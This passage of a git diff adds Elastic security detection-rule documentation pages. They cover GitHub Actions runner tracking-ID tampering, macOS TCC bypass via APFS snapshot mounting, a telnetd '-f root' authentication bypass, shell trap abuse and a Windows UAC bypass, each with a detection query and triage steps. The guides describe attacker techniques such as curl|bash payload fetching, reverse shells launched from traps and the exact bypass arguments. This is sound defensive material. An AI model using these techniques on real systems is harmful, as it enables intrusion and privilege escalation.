on the affected system to detect and remove any additional malicious software. +- Restore the system from a known good backup if the integrity of the system cannot be assured after module removal. +- Implement stricter access controls and monitoring for kernel module loading to prevent unauthorized module loads in the future. +- Escalate the incident to the security operations team for further investigation and to assess the need for broader organizational response measures. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Filebeat + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat for the Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete Setup and Run Filebeat information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the Filebeat System Module to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.dataset:"system.syslog" and process.name:kernel and +message:"loading out-of-tree module taints kernel." + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-tampering-with-runner-tracking-id-in-github-actions-runners.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-tampering-with-runner-tracking-id-in-github-actions-runners.asciidoc new file mode 100644 index 0000000000..6c665c2df4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-tampering-with-runner-tracking-id-in-github-actions-runners.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-20-tampering-with-runner-tracking-id-in-github-actions-runners]] +=== Tampering with RUNNER_TRACKING_ID in GitHub Actions Runners + +This rule detects processes spawned by GitHub Actions runners where "RUNNER_TRACKING_ID" is overridden from its default "github_*" value. Such tampering has been associated with attempts to evade runner tracking/cleanup on self-hosted runners, including behavior observed in the Shai-Hulud 2.0 npm worm campaign. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise +* https://socket.dev/blog/shai-hulud-strikes-again-v2 +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://www.praetorian.com/blog/self-hosted-github-runners-are-backdoors/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Initial Access +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Tampering with RUNNER_TRACKING_ID in GitHub Actions Runners* + + +This rule surfaces processes launched by GitHub Actions runners where RUNNER_TRACKING_ID is deliberately set to a non-default value. Attackers do this to break runner job tracking and cleanup on self-hosted runners, enabling long‑lived or hidden workloads. A common pattern is a workflow step that exports a custom RUNNER_TRACKING_ID and then spawns bash or node to fetch and execute a script via curl|bash or npm install scripts, keeping the process alive after the job finishes to run mining or exfil tasks. + + +*Possible investigation steps* + + +- Correlate the event to its GitHub Actions run/job and workflow YAML, identify the repository and actor (commit/PR), and verify whether RUNNER_TRACKING_ID was explicitly set in the workflow or injected by a step script. +- On the runner host, determine if the spawned process persisted beyond job completion by checking for orphaning or reparenting to PID 1, sustained CPU/memory usage, and timestamps relative to the runner process exit. +- Review nearby telemetry for fetch-and-execute patterns (curl|bash, wget, node/npm lifecycle scripts), unexpected file writes under /tmp or actions-runner/_work, and outbound connections to non-GitHub endpoints. +- Enumerate persistence artifacts created during the run, including crontab entries, systemd unit files, pm2 or nohup sessions, and changes to authorized_keys or rc.local, and tie them back to the suspicious process. +- Assess blast radius by listing secrets and tokens available to the job, checking audit logs for their subsequent use from the runner IP or unusual repositories, and decide whether to revoke or rotate credentials. + + +*False positive analysis* + + +- A self-hosted runner bootstrap script or base image intentionally sets a fixed RUNNER_TRACKING_ID for internal log correlation or debugging, causing all runner-spawned processes to inherit a non-github_* value. +- A composite action or reusable workflow accidentally overrides RUNNER_TRACKING_ID through env mapping or variable expansion (for example templating it from the run ID), resulting in benign non-default values during standard jobs. + + +*Response and remediation* + + +- Quarantine the self-hosted runner by stopping Runner.Listener, removing the runner from the repository/organization, and terminating any Runner.Worker children or orphaned processes (PID 1) that carry a non-default RUNNER_TRACKING_ID. +- Purge persistence by removing artifacts created during the run, including systemd unit files under /etc/systemd/system, crontab entries in /var/spool/cron, pm2/nohup sessions, edits to ~/.ssh/authorized_keys or /etc/rc.local, and files under /tmp and actions-runner/_work linked to the tampered process. +- Revoke and rotate credentials exposed to the job (GITHUB_TOKEN, personal access tokens, cloud keys), delete leftover containers and caches in actions-runner/_work, invalidate the runner registration, and redeploy the runner from a clean, patched image. +- Escalate to incident response if you observe outbound connections to non-GitHub endpoints, processes persisting after job completion, modifications to ~/.ssh/authorized_keys or /etc/systemd/system, or repeated RUNNER_TRACKING_ID tampering across runners or repositories. +- Harden by restricting self-hosted runners to trusted repositories and actors, enforcing ephemeral per-job runners with egress allowlisting to github.com, setting strict job timeouts, and adding a workflow guard step that exits if RUNNER_TRACKING_ID does not start with github_. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + +Elastic Defend integration does not collect environment variable logging by default. +In order to capture this behavior, this rule requires a specific configuration option set within the advanced settings of the Elastic Defend integration. + #### To set up environment variable capture for an Elastic Agent policy: +- Go to “Security → Manage → Policies”. +- Select an “Elastic Agent policy”. +- Click “Show advanced settings”. +- Scroll down or search for “linux.advanced.capture_env_vars”. +- Enter the names of environment variables you want to capture, separated by commas. +- For Linux, this rule requires the linux.advanced.capture_env_vars variable to be set to "RUNNER_TRACKING_ID". +- For macOS, this rule requires the macos.advanced.capture_env_vars variable to be set to "RUNNER_TRACKING_ID". +- Click “Save”. +After saving the integration change, the Elastic Agents running this policy will be updated and the rule will function properly. +For more information on capturing environment variables refer to the https://www.elastic.co/guide/en/security/current/environment-variable-capture.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type in ("linux", "macos") and event.type == "start" and event.action == "exec" and +process.parent.name in ("Runner.Worker", "Runner.Listener") and process.env_vars like~ "RUNNER_TRACKING_ID*" and +not process.env_vars like~ "RUNNER_TRACKING_ID=github_*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Dependencies and Development Tools +** ID: T1195.001 +** Reference URL: https://attack.mitre.org/techniques/T1195/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Break Process Trees +** ID: T1036.009 +** Reference URL: https://attack.mitre.org/techniques/T1036/009/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-tcc-bypass-via-mounted-apfs-snapshot-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-tcc-bypass-via-mounted-apfs-snapshot-access.asciidoc new file mode 100644 index 0000000000..0794ea2a5d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-tcc-bypass-via-mounted-apfs-snapshot-access.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-20-tcc-bypass-via-mounted-apfs-snapshot-access]] +=== TCC Bypass via Mounted APFS Snapshot Access + +Identifies the use of the mount_apfs command to mount the entire file system through Apple File System (APFS) snapshots as read-only and with the noowners flag set. This action enables the adversary to access almost any file in the file system, including all user data and files protected by Apple’s privacy framework (TCC). + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://theevilbit.github.io/posts/cve_2020_9771/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating TCC Bypass via Mounted APFS Snapshot Access* + + +Apple's TCC framework safeguards user data by controlling app access to sensitive files. Adversaries exploit APFS snapshots, mounting them with specific flags to bypass these controls, gaining unauthorized access to protected data. The detection rule identifies this misuse by monitoring the execution of the `mount_apfs` command with parameters indicative of such bypass attempts, flagging potential security breaches. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the `mount_apfs` command with the specific arguments `/System/Volumes/Data` and `noowners` to verify the alert's accuracy. +- Investigate the user account associated with the process execution to determine if the activity aligns with expected behavior or if it indicates potential unauthorized access. +- Examine the timeline of events leading up to and following the alert to identify any related suspicious activities or processes that may indicate a broader attack or compromise. +- Check for any recent changes or anomalies in system configurations or user permissions that could have facilitated the bypass attempt. +- Correlate the alert with other security logs or alerts to assess if this is part of a larger pattern of malicious behavior or an isolated incident. + + +*False positive analysis* + + +- System maintenance tools or backup software may legitimately use the mount_apfs command with the noowners flag for routine operations. Users can create exceptions for these specific tools by identifying their process names or paths and excluding them from the detection rule. +- Developers or IT administrators might use the mount_apfs command during testing or troubleshooting. To prevent these activities from triggering false positives, users can whitelist specific user accounts or IP addresses associated with these roles. +- Automated scripts or scheduled tasks that require access to APFS snapshots for legitimate purposes might trigger the rule. Users should review these scripts and, if deemed safe, add them to an exclusion list based on their unique identifiers or execution context. +- Security software or monitoring tools that perform regular checks on file system integrity might inadvertently match the rule's criteria. Users can mitigate this by identifying these tools and excluding their specific process signatures from the detection parameters. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes related to the `mount_apfs` command to halt ongoing unauthorized access attempts. +- Conduct a thorough review of system logs and user activity to identify any data accessed or exfiltrated during the breach. +- Restore any compromised files from a known good backup to ensure data integrity and security. +- Update macOS and all installed applications to the latest versions to patch any vulnerabilities that may have been exploited. +- Implement stricter access controls and monitoring for APFS snapshot usage to prevent similar bypass attempts in the future. +- Escalate the incident to the security operations center (SOC) or relevant IT security team for further investigation and to assess the need for additional security measures. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and process.name == "mount_apfs" and + process.args like~ "/System/Volumes/Data" and process.args like~ "noowners" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Direct Volume Access +** ID: T1006 +** Reference URL: https://attack.mitre.org/techniques/T1006/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-telnet-authentication-bypass-via-user-environment-variable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-telnet-authentication-bypass-via-user-environment-variable.asciidoc new file mode 100644 index 0000000000..acd683b307 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-telnet-authentication-bypass-via-user-environment-variable.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-20-telnet-authentication-bypass-via-user-environment-variable]] +=== Telnet Authentication Bypass via User Environment Variable + +Identifies potential exploitation of a Telnet remote authentication bypass vulnerability (CVE-2026-24061) in GNU Inetutils telnetd. The vulnerability allows unauthenticated access by supplying a crafted `-f ` value via the `USER` environment variable, resulting in a login process spawned with elevated privileges. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.safebreach.com/blog/safebreach-labs-root-cause-analysis-and-poc-exploit-for-cve-2026-24061/ +* https://security-tracker.debian.org/tracker/CVE-2026-24061 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Use Case: Vulnerability +* Data Source: Auditd Manager + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Telnet Authentication Bypass via User Environment Variable* + + +CVE-2026-24061 is a critical authentication bypass vulnerability affecting `telnetd` in GNU Inetutils. By supplying a +crafted `-f root` value through the USER environment variable, a remote attacker can bypass authentication and gain +unauthorized root-level access. This exploit results in the `login` process being executed with attacker-controlled +arguments, typically spawned by `telnetd` or via `xinetd`. + +This rule detects suspicious `login` executions associated with Telnet services that include the `-f` flag, which +forces authentication as a specified user and is indicative of exploitation attempts. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for the suspicious `login` process. + - Confirm whether `login` was spawned by `telnetd` or indirectly via `xinetd`. + - Review the command-line arguments passed to `login`, paying special attention to the presence of `-f` and any + attempts to authenticate as `root` or other privileged users. +- Validate whether the Telnet service is expected to be running on the affected host. + - Telnet is deprecated and should rarely be exposed or enabled in modern environments. +- Investigate post-authentication activity originating from the compromised session. + - Look for command execution, file modifications, privilege escalation attempts, or persistence mechanisms. + - Review network connections initiated after the suspicious login event. +- Check for additional alerts or suspicious activity on the same host within the past 48 hours. +- Determine whether the system is running a vulnerable version of GNU Inetutils telnetd. + + +*False positive analysis* + + +- Legitimate use of the `-f` flag with `login` is extremely rare and typically restricted to trusted, local workflows. +- False positives may occur in highly customized or legacy environments where Telnet is still in use. +- Any benign occurrences should be carefully validated and documented before adding exceptions. + + +*Related Rules* + + +- Potential Telnet Authentication Bypass (CVE-2026-24061) - "ab7795cc-0e0b-4f9d-a934-1f17a58f869a" + + +*Response and remediation* + + +- Immediately isolate the affected host to prevent further unauthorized access or lateral movement. +- Terminate suspicious Telnet sessions and collect volatile forensic data where possible. +- Investigate for signs of credential access, persistence, or follow-on exploitation. +- Patch or upgrade GNU Inetutils to a version that addresses CVE-2026-24061. +- Disable the Telnet service entirely if it is not explicitly required. +- Enforce the use of secure alternatives such as SSH for remote administration. +- Rotate credentials for any accounts that may have been exposed or accessed. +- Perform a full system integrity review and antimalware scan. +- Update hardening, monitoring, and logging policies to improve detection of legacy remote access abuse. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action in ("process_started", "executed") and process.name in ("telnetd", "xinetd")] by process.pid + [process where host.os.type == "linux" and event.type == "start" and event.action in ("process_started", "executed") and process.name == "login" and process.args : "-*f*"] by process.parent.pid + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-trap-signals-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-trap-signals-execution.asciidoc new file mode 100644 index 0000000000..c4e8a33b83 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-trap-signals-execution.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-20-trap-signals-execution]] +=== Trap Signals Execution + +Identify activity related where adversaries can include a trap command which then allows programs and shells to specify commands that will be executed upon receiving interrupt signals. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Trap Signals Execution* + + +This rule flags use of the shell built-in trap to bind commands to POSIX signals, enabling automatic execution when interrupts like SIGINT, SIGHUP, or SIGTERM occur. Attackers commonly embed traps in bash, zsh, or service scripts so pressing Ctrl+C (SIGINT) or a daemon reload (SIGHUP) silently runs a payload—adding a user to sudoers, planting a setuid helper, or launching a reverse shell—achieving persistence or escalation without a direct command invocation. + + +*Possible investigation steps* + + +- Pull the full trap command and its arguments plus the parent script path, then read the script to see which signals map to which payloads and whether they perform user, permission, or network actions. +- Determine execution context by user and privilege, TTY/session versus systemd or cron, and whether the shell was invoked with sudo or as root to gauge impact if the trap triggers. +- Correlate telemetry for signal delivery (kill, hangup, termination) to the same process and for immediate follow-on activity such as child process spawns, edits to /etc files, setuid or chmod events, and outbound connections. +- Search the host for other trap definitions in login and init paths (.bashrc, .zshrc, /etc/profile, /etc/*rc, systemd unit scripts, and cron wrappers) to identify persistence or broader tampering. +- Verify legitimacy by comparing the script to package or repository sources and change records, and preserve artifacts (path, hash, mtime, owner) along with shell history and environment for deeper analysis. + + +*False positive analysis* + + +- Operations or maintenance scripts legitimately declare trap handlers for SIGTERM or SIGHUP to perform cleanup during routine shutdown or reload, producing trap commands with signal arguments that match this detection. +- Interactive shell customization may set a trap on SIGINT (Ctrl+C) to restore terminal settings or print a message on interruption, resulting in benign trap invocations with SIG* arguments. + + +*Response and remediation* + + +- Isolate the host or TTY session where a trap binds SIGINT/SIGHUP/SIGTERM to commands that write to /etc or open a socket, kill the offending shell and its parent process, and stop/disable any systemd unit or cron wrapper invoking the implicated script path. +- Edit the identified script or rc file (.bashrc, .zshrc, /etc/profile, systemd unit script) to remove or unset the trap handlers, and delete or quarantine any referenced payload such as a reverse-shell binary, sudoers drop-in, or setuid helper. +- Restore altered files from a known-good baseline (e.g., /etc/sudoers, unit .service files, shell RCs), revalidate file ownership and permissions, restart impacted services cleanly, and rotate credentials for users touched by the payload. +- Sweep the host and peers for additional trap definitions by grepping for "trap SIG" in login/init paths and service scripts, and record script path, hash, mtime, and owner to confirm scope and support cleanup. +- Escalate to incident response if the trap executes as root, modifies /etc/sudoers or PAM files, creates setuid files under /usr/bin or /usr/local/bin, or starts a reverse shell to an external IP/port. +- Harden by restricting write access to /etc/*rc and service scripts, enforcing deployment via signed packages, adding audit rules for changes to /etc/sudoers and /etc/profile.d, blocking shells from egress to untrusted networks, and alerting on traps bound to EXIT/DEBUG or signals that invoke privileged actions. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action in ("exec", "exec_event", "executed", "process_started") and +process.name == "trap" and process.args : "SIG*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Trap +** ID: T1546.005 +** Reference URL: https://attack.mitre.org/techniques/T1546/005/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Trap +** ID: T1546.005 +** Reference URL: https://attack.mitre.org/techniques/T1546/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-uac-bypass-attempt-via-elevated-com-internet-explorer-add-on-installer.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-uac-bypass-attempt-via-elevated-com-internet-explorer-add-on-installer.asciidoc new file mode 100644 index 0000000000..1e522bcf2c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-uac-bypass-attempt-via-elevated-com-internet-explorer-add-on-installer.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-20-uac-bypass-attempt-via-elevated-com-internet-explorer-add-on-installer]] +=== UAC Bypass Attempt via Elevated COM Internet Explorer Add-On Installer + +Identifies User Account Control (UAC) bypass attempts by abusing an elevated COM Interface to launch a malicious program. Attackers may attempt to bypass UAC to stealthily execute code with elevated permissions. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://swapcontext.blogspot.com/2020/11/uac-bypasses-from-comautoapprovallist.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 313 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating UAC Bypass Attempt via Elevated COM Internet Explorer Add-On Installer* + + +User Account Control (UAC) is a security feature in Windows designed to prevent unauthorized changes by prompting for elevated permissions. Adversaries may exploit elevated COM interfaces, such as the Internet Explorer Add-On Installer, to bypass UAC and execute malicious code with higher privileges. The detection rule identifies suspicious processes originating from temporary directories, launched by the IE installer with specific arguments, indicating potential UAC bypass attempts. + + +*Possible investigation steps* + + +- Review the process details to confirm the executable path matches the pattern "C:\\*\\AppData\\*\\Temp\\IDC*.tmp\\*.exe" and verify if it is expected or known within the environment. +- Investigate the parent process "ieinstal.exe" to determine if its execution is legitimate, checking for any unusual or unexpected usage patterns. +- Examine the command-line arguments used by the parent process, specifically looking for the "-Embedding" argument, to understand the context of its execution. +- Check the code signature of the suspicious process to determine if it is signed by a trusted entity, and assess the trustworthiness of the signature if present. +- Correlate this event with other security alerts or logs from data sources like Elastic Endgame, Elastic Defend, 